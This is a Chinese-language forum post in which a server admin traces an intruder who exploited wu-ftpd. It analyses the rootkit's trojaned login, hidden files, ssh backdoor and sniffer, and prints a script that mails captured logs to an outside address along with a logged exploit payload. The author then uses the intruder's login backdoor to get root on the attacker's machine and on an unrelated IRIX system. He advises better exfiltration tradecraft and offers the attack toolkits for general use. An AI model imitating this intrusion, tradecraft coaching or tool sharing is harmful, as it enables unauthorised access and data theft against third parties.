返回列表 发帖

网上追踪入侵者

可能是节假日的原因,hack事件特别多,我就遇到了两次 1.昨天当我查询我的一台机器时,意外的发现有人入侵了 其实是我自己的失误,没有打上wuftpd26的补丁, 又没有改/etc/ftpusers 让人轻易的利用wuftpd26的远程漏洞用匿名用户进入了我的机器。不过这位朋 友显然未加考虑的使用了rootkit,结果造成ps 输出的结果是这样: [root@ns]# ps PID TTY STAT TIME COMMAND 678 1 S 0:00 /sbin/mingetty tty1 679 2 S 0:00 /sbin/mingetty tty2 680 3 S 0:00 /sbin/mingetty tty3 681 4 S 0:00 /sbin/mingetty tty4 682 5 S 0:00 /sbin/mingetty tty5 683 6 S 0:00 /sbin/mingetty tty6 5557 ? S 0:00 /bin/sh -i 5591 ? R 0:00 ps 这样的输出结果我想谁看了都知道是个什么意思。那么就让我们一步一步看看他做了些什么吧 [这位hack没有想到这机器已经早有主人了,并且安装了自己的rootkit工具包] [root@ns]# strings /bin/login|more .......... __bss_start _end PPRV DISPLAY /bin/envpc l4m3r0x /bin/sh 从上可以看出是个login后门,通过export PATH="l4m3r0x"后,直接telnet对方就能得到# [root@ns]# strings /bin/ls|more ..... always /usr/local/share/locale fileutils GNU fileutils-3.13 vdir %s - %s /dev/sgk/.fsdc/.1file //DIRED// //SUBDIRED// POSIXLY_CORRECT COLUMNS 注意看了, /dev/sgk/.fsdc/.1file这就是他rootkit文件放的位置了,那么让我们看看那儿都有些什么吧 [root@ns]# mv /dev/sgk/.fsdc/.1file /tmp [root@ns]# ls -la /dev/sgk/.fsdc total 641 drwxr-xr-x 5 root ftp 1024 Feb 4 09:01 . drwxr-xr-x 3 root ftp 1024 Feb 2 17:11 .. -rw-r--r-- 1 root ftp 7 Feb 2 17:11 .1logz -rw-r--r-- 1 root ftp 88 Feb 2 17:11 .1proc drwxr-xr-x 2 root ftp 1024 Feb 2 17:11 backup drwxrwxr-x 2 lujiang lujiang 1024 Feb 2 17:14 clean -rwxr-xr-x 1 lujiang lujiang 5578 Nov 18 11:08 filetrans -rwxr-xr-x 1 lujiang lujiang 9396 Aug 23 1999 killall-real -rwxr-xr-x 1 lujiang lujiang 7578 Aug 21 17:22 parse -rwxr-xr-x 1 lujiang lujiang 6232 Sep 9 1999 parse1 drwxrwxr-x 2 lujiang lujiang 1024 Jan 28 16:34 patches -rwxr-xr-x 1 lujiang lujiang 28004 Aug 23 1999 ps-real -rwxr-xr-x 1 lujiang lujiang 580696 Feb 18 2000 ssh -rw-r--r-- 1 root ftp 1398 Feb 4 08:55 system 呵呵,看来东西还真不少,从ftp可以知道他是利用的ftP漏洞,从lujiang知道他还窃取了个本地用户 [root@ns .fsdc]# cat .1logz rshd [root@ns .fsdc]# cat .1proc 3 nscd 2 nmap 2 lscan 2 login 2 lpset 2 xtty 2 nscd 3 statd 3 lpq 3 scan 3 sniff 3 envpc [root@ns .fsdc]# cat /tmp/.1file sgk .fsdc .clib .1proc .1addr .1file .1logz envpc xtty pttys filetrans lpset libload system parse .1logz是被syslogd调用,隐藏所列出命令所产生的记录. .1proc被ps命令调用.隐藏所列出的进程名称 .1file被ls,find命令掉用.隐藏所列出的文件名, [root@ns .fsdc]# cd patches [root@ns patches]# cat patch.sh #!/bin/sh echo "[1] Patching WU-FTPd..." rpm -Uhv wuftpd.rpm echo "[2] Patching NFS-utils..." rpm -Fvh nfs-utils.rpm ps aux >> /tmp/psaux if [ "`cat /tmp/psaux | grep rpc.statd`" ]; then echo "[3] Restarting the rpc.statd daemon (NFS-utils)" /etc/rc.d/init.d/nfslock restart else echo "[4] The daemon rpc.statd isn't running, so no need to restart!" fi rm /tmp/psaux 这是个为wuftpd和rpc.statd漏洞准备的补丁包[我很赞赏此君的做法] 其他的文件目录我就没有仔细看了[这些打包后会提供下载] 根据.1file的隐藏文件列表我们一一找到了这些文件. [root@ns .fsdc]# strings /usr/bin/xtty ...... PPRV (nfsiod) socket bind listen accept /bin/sh 不难看出是个后门 [root@ns .fsdc]# strings /dev/pttys #!/bin/sh cat /dev/sgk/.fsdc/system | mail prosupp@usa.net >/dev/null 2>&1 nohup /usr/lib/lpset > /dev/null & nohup /usr/bin/xtty > /dev/null & rm -rf nohup.out 这位hack很聪明,通过此脚本就可以把嗅探记录发往prosupp@usa.net [/dev/sgk/.fsdc/system是个嗅探记录] [root@ns .fsdc]# cat /etc/rc.d/rc.sysinit|more .......... if [ "$PROMPT" != "no" ]; then /sbin/getkey i && touch /var/run/confirm fi wait # Name Server Cache Daemon.. /usr/sbin/nscd -q # Name Server Cache Daemon.. /usr/sbin/nscd -q # Kernel module checker /usr/lib/libload > /dev/null 2>&1 [root@ns bak]# strings /usr/sbin/nscd|more +Q$9 /usr/info/.clib/sshd_config Received SIGHUP; restarting. RESTART FAILED: av[0]='%.100s', error: %.100s. Received signal %d; terminating. Timeout before authentication. Generating new %d bit RSA key. RSA key generation complete. f:p:b:k:h:g:diqV: i686-unknown-linux 1.2.27 sshd version %s [%s] Usage: %s [options] Options: /usr/info/.clib存放着一个ssh后门,这样机器启动后都会为hack开放方便之门. [root@ns .fsdc]# strings /sbin/syslogd ============================================================ Time: %s Size: %d Path: %s => %s [%d] ------------------------------------------------------------ Exiting... cant get SOCK_PACKET socket cant get flags cant set promiscuous mode /dev/null eth0 system cant open log 这位hack改动了syslogd文件,变成了一个sniffer 。。。。。。。。。。 接下来就是还原系统了,修改被窃取的帐号密码。这就不在这里表诉了,从我的嗅探记录我知道了他是从这两台机器上来的 [root@ns man]# more system2 ============================================================ Time: Fri Feb 2 17:26:07 Size: 1056 Path: 210.217.237.75 => ns.xxx.cn [21] ------------------------------------------------------------ ##g#>4h#>4hUSER ftp #>hPASS 111F11CA?k^11^Ff'1^=11^C11^u1F^=0F1FvFNV110bin0sh1..11 #>h<#?hsite exec xx(%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%. f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f %.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f% .f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%. f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f %.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p #@@h ============================================================ Time: Sat Feb 3 06:01:39 Size: 44 Path: 216.12.101.4 => ns.xxx.cn [21] ------------------------------------------------------------ @c@ (B@ ============================================================ 从上可知hack是从210.217.237.75攻击的,根据习惯,通常都会做一样的后门,所以 [root@ns man]# export DISPLAY="l4m3r0x" [root@ns man]# telnet 210.217.237.75 Trying 210.217.237.75... Connected to 210.217.237.75. Escape character is '^]'. Boramae Cache Server 3.5.1 bash# w 7:48pm up 71 days, 9:43, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root tty1 - 25Nov 0 31days 0.08s 0.05s -bash 于是我成了这台机器的root bash# ps -ef PID TTY STAT TIME COMMAND 940 2 S 0:00 /sbin/mingetty tty2 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO 941 3 S 0:00 /sbin/mingetty tty3 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO 942 4 S 0:00 /sbin/mingetty tty4 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO 943 5 S 0:00 /sbin/mingetty tty5 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO 944 6 S 0:00 /sbin/mingetty tty6 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO 957 1 S 0:00 -bash HOME=/root PATH=/sbin:/bin:/usr/sbin:/usr/bin SHELL=/ 22151 ? S 0:00 -bash HOME=/root USER=root LOGNAME=root PATH=/usr/bin:/bin: 22178 ? S 0:00 \_ ../ssh -l pthl mega.ee.tu-berlin.de LESSOPEN=|/usr/bin/ 。。。。。。。。。。 呵呵,看来这台机器跟那台是一样的啊,于是我rcp来了自己的ps,结果看到的情况真是大吃一惊! root 13204 1 0 2000 ? 00:00:00 /usr/sbin/inetd root 13211 1 0 2000 ? 00:00:55 /usr/lib/lpset [后门] root 13243 1 0 2000 ? 00:00:00 /sbin/syslogd [sniffer] root 24287 1 0 Jan14 ? 00:00:00 ./nscd [后门] root 19968 1 0 Jan25 ? 00:00:06 ./wu -s0 -t 203.167.30.10 [wuftpd攻击程序] root 26042 13191 0 Jan28 ? 00:00:00 [sh ] root 26144 13191 0 Jan28 ? 00:00:00 [sh ] root 4395 13191 0 Jan29 ? 00:00:00 [xtty ]后门 root 22149 13125 0 18:23 ? 00:00:00 /usr/sbin/nscd -q [后门] root 22151 22149 0 18:23 pts/0 00:00:00 -bash root 22178 22151 0 18:24 pts/0 00:00:00 ../ssh -l pthl mega.ee.tu-berlin 正在连接一台机器 root 22231 13125 0 19:11 ? 00:00:00 /usr/sbin/nscd -q root 22235 22231 0 19:13 pts/2 00:00:00 -bash root 22679 13204 0 19:48 ? 00:00:00 in.telnetd: 203.93.xxx.xxx [呵呵,自己] root 22680 22679 0 19:48 pts/3 00:00:00 /bin/login -h 203.93.xxx.xxx -p root 22681 22680 0 19:48 pts/3 00:00:00 /bin/sh root 22851 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.193.46.60 root 22852 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.191.47.60 root 22854 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.139.19.60 [正在扫描wuftpd漏洞 root 22856 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.82.89.60 并且完成攻击,保存记root 22857 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.16.136.60 录] .......... [root@proxy .fsdc]# ls -la total 2240 drwxr-xr-x 6 root ftp 4096 Feb 4 10:57 . drwxr-xr-x 3 root ftp 4096 Dec 29 22:48 .. -rw-r--r-- 1 root ftp 7 Dec 29 22:48 .1logz -rw-r--r-- 1 root ftp 88 Dec 29 22:48 .1proc drwxr-xr-x 2 root ftp 4096 Dec 29 22:48 backup drwxrwxr-x 2 admin admin 4096 Dec 29 22:51 clean -rwxr-xr-x 1 admin admin 5578 Nov 18 11:08 filetrans -rwxr-xr-x 1 admin admin 9396 Aug 23 1999 killall-real -rwxr-xr-x 1 admin admin 7578 Aug 21 17:22 parse .......... 看来这位朋友一直都没有使用touch,chown的习惯,没有改变时间和属主名[我想这里是他的家了,里面的 工具相当完整,还有大量的嗅探记录,扫描工具,漏洞程序,补丁] 至于如何寻找这些后门前面已经讲过了,这里就不提了。 最后来说说这位hack的不足之处和值得借鉴的地方: 1. 没考虑ps命令修改后是否适用的问题 [在另一文中我将提供修改过的ps源程序] 2. 没给机器做一次检查,现在的机器还有这种明显漏洞说不定早有人捷足先登了,也没看看是否有 sniffer在运行 3.后门过多,我个人不赞成修改/etc/rc.d下面的文件,因为太容易看出 4.有做相同后门的习惯,[这是个难以克服的缺点,包括我] 5。给机器打上补丁是种聪明的做法, 6。通过mail程序发送嗅探记录是个好办法,但我个人认为在cron里面做要好点,定时间发送,发送完后清 空记录,至少我是这样做的 其实这种事情在前几天我都遇见过一次,有位来自61.153.xxx.xxx的朋友的通过他的一台ip为202.103.xxx.xxx 的redhat6.2机器[他在那机器上安装了个login后门,但很遗憾未给机器打上补丁,后被我所用]进入一个irix 系统,当时我正在线上,于是用了他一样的办法rlogin -l sysadm xxxxx进入了那个irix机器[这并非是个简 单的 .rhost后门,源程序提供下载]我打包了他的工具,供大家使用. 给管理人员的建议: 1.杜绝远程漏洞,打上补丁 2.如果要使用telnet,ftp, 那么建议修改端口/etc/services 3.把echo 1 > /proc/sys/net/ipv4/icmp_echo_igore_all 添加到/etc/rc.d/rc.loacl中,使本机不被ping成功,这样减少不必要的干扰 4.经常使用rpm命令查看是否常用命令被修改 下面提供这些包的下载[供大家分析][三天过后将删除这些包] (全部没有了) http://202.108.34.22/manual/hack-1.tar.gz [另外一台机器上得到的东西] http://202.108.34.22/manual/hack-3.tar.gz [这篇文章中那位hack所用的工具包,内容相当丰富] http://202.108.34.22/manual/hack-irix.tar.gz [文末中提到那位61.153.xxx.xxx的朋友所用的工具包]

返回列表 回复 发帖